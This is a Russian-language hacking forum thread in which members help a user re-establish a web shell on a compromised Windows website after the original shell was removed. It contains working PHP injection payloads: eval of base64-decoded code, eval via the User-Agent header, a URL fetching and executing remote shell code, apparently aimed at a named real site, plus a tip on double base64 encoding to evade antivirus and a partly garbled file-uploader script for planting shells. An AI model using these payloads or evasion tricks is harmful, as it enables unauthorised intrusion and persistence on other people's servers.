PDA

Просмотр полной версии : Мини шелл


Pirotexnik
17.04.2012, 00:59
Доброго времени суток.

Залился на сайт. Через время допустил ошибку и шелл снесли.

Оставил на сайте мини шелл.

Захожу, все работает, довольный сижу такой, думаю щас зальюсь. А тут ***....

mshell.php?p1r0=phpinfo(); - GOOD

mshell.php?p1r0=copy('http://site./wso.txt','./wso.php'); - BAD

На сервере винда....

От чего может такое быть? Как решать? Спасибо.

ShellRoot
17.04.2012, 01:05
http://base64.ru/

Кодируешь PHP код, затем юзаешь так:

mshell.php?p1r0=eval(base64_decode());

без '', и если спец символы на хвосте ("равно" например), то просто убирай их.

Думаю, должно сработать...

Pirotexnik
17.04.2012, 01:16
Не помогло, но спасибо.

Konqi
17.04.2012, 01:16
ShellRoot

base64_decode тоже принимает стринг, поэтому кaвычки обязательны

2 TC

copy($_GET[a],$_GET);&a=...&b=

или

file_put_contents($_GET[a],file_get_contents($_GET));&a=&b=

пригодится

http://php.su/functions/?stripslashes

ShellRoot
17.04.2012, 01:20
Konqi, сколько раз без кавычек делал норм, достаточно стринг сделать так:

$a = (textstring);

но вот если используются спец.символы, такие как точки и т.п тогда уже надо, но мы специально заюзали без "равно", или иначе заюзать из глобальной переменной

Pashkela
17.04.2012, 01:25
phpinfo();


вот для начала и кури, что там выводится. Например allow_url_fopen = off - и всё, забудь про шелл с другого сайта - онли только грузить с локали.

Хочешь грамотный ответ - давай инфу по ключевым позициям. Из того же phpinfo. Что такое "там" ключевые позиции - думай сам.

PS: Прежде чем страдать херней и юзать всяческие аплоадеры - для начала найди папку, в которую ты можешь вообще писать в принципе, и проверить её еще на предмет запретных правил предварительно (ошибки вообще-то тоже фиксируются). На то у тебя уже есть огромные возможности - выполняется phpinfo() - Значит в твоем распоряжении вся мощь языка ПИЭЙЧПИ.

Кстати, стыдно задавать такие вопросы, если phpinfo() выполняется. И никакие статьи это не реабилитируют.

У тебя уже есть выполнение php-кода. Вообще-то это равно иметь шелл. Думай

Pirotexnik
17.04.2012, 01:51
Pashkela, стыдно задавать такие вопросы, но если их не задавать, то стыдится прийдется всегда!

Спасибо, вот щас сижу, думаю.


allow_url_fopen On
allow_url_include Off
disable_functions exec,passthru,shell_exec,system,proc_open,popen
file_uploads On
magic_quotes_gpc On


Странно то, что под бэйс64 кавычки выполняются на ура... Тоесть mq тут не причем.

UPD

________________________________________

Пробовал осздать файл, не помогло, не создается.... Идеи?

Cennarios
17.04.2012, 03:10
Pirotexnik said:
Pashkela, стыдно задавать такие вопросы, но если их не задавать, то стыдится прийдется всегда!
Спасибо, вот щас сижу, думаю.
Странно то, что под бэйс64 кавычки выполняются на ура... Тоесть mq тут не причем.
UPD
________________________________________
Пробовал осздать файл, не помогло, не создается.... Идеи?



Еще как при чем. magic_quotes_gpc режет GPC массивы. Кавычки `бейсятся` и естественно пропускаются через magic_quotes попадая далее в последующую функцию.

Далее по делу:

http://site/?cmd=eval($_SERVER[HTTP_USER_AGENT]);

И модифицируй к виду HEADER: HTTP_USER_AGENT-> file_put_content('uploader.php','upload php code');

Это если php5 - если 4 пофантазируй. В пути также на директорию должны быть права.

Я не знаю какие у тебя ограничения в твоем случае. Мб поможет, в данном случае использование не GPC массива снимет слеширование через magic_quotes и прозволит использовать кавычки и указывать пути.

Pashkela
17.04.2012, 03:21
http://www.datingfast.com/wp-atom.php?p1r0=eval(file_get_contents(base64_decode (тут_без_кавычек_адрес_твое о_шелла_например_http://site/shell.txt_только_в_base64)));

т.е. что-то типо этого:

http://www.datingfast.com/wp-atom.php?p1r0=eval(file_get_contents(base64_decode (aHR0cDovL3NpdGUvd3NvMl9ldmFsLnR4dA)));

НО, сначала почитай:

/thread191917.html

посмотри на дату и пусть тебе станет стыдно

PS: пох на права, шелл там льется за 2 секунды

Не проверял, но по моему легко зальется wso pack shell - т.е. упакованный (размер имеет значение )

Pirotexnik
17.04.2012, 21:47
Никак не выходит... И не у меня одного, ещё пару человек пробовало. Далеко не новечки...

Pirotexnik
18.04.2012, 00:04
Фух! Залил.

Проблемма была решена очень интерестно.

Дело в том, что там появился антивирусник, который палил не только содержимое шелла, но и сам запрос. Помогло двойное base64 кодирование обоих!

Вот скриптик.


PHP:


Введите PHP код:

">

[/COLOR]

alextrust
30.04.2012, 05:27
я аплоадер заливаю сразу,а потом шел


PHP:




Max's File Uploader



setUploadLocation(getcwd().DIRECTORY_SEPARATOR);

$myUpload->uploadFile();

?>

uploadLocation=getcwd().DIRECTORY_SEPARATOR;

}

/**

* This function sets the directory where to upload the file

* In case of Windows server use t he form: c:\\temp\\

* In case of Unix server use the form: /tmp/

*

* @param String Directory where to store the files

*/

functionsetUploadLocation($dir){

$this->uploadLocation=$dir;

}



functionshowUploadForm($msg='',$error=''){

?>





File Uploader



'.$msg.'';

} else if ($error!=''){

echo''.$error.'';

}

?>





File:

















Powered by PHP F1 Mo dded by: ZaraByte



showUploadForm();

} else {

$msg='';

$error='';



//Check destination directory

if (!file_exists($this->uploadLocation)){

$error="The target directory doesn't exists!";

} else if (!is_writeabl e($this->uploadLocation)) {

$error="The target directory is not writeable!";

} else {

$target_path=$this->uploadLocation.basename($_FILES['myfile']['name']);

if(@move_uploaded_ file($_FILES['myfile']['tmp_name'],$target_path)) {

$msg=basename($_FILES['myfile']['name']).

" was uploaded successfully!";

} else{

$error="The upload process failed!";

}

}

$this->showUploadForm($msg,$error);

}

}

}

?>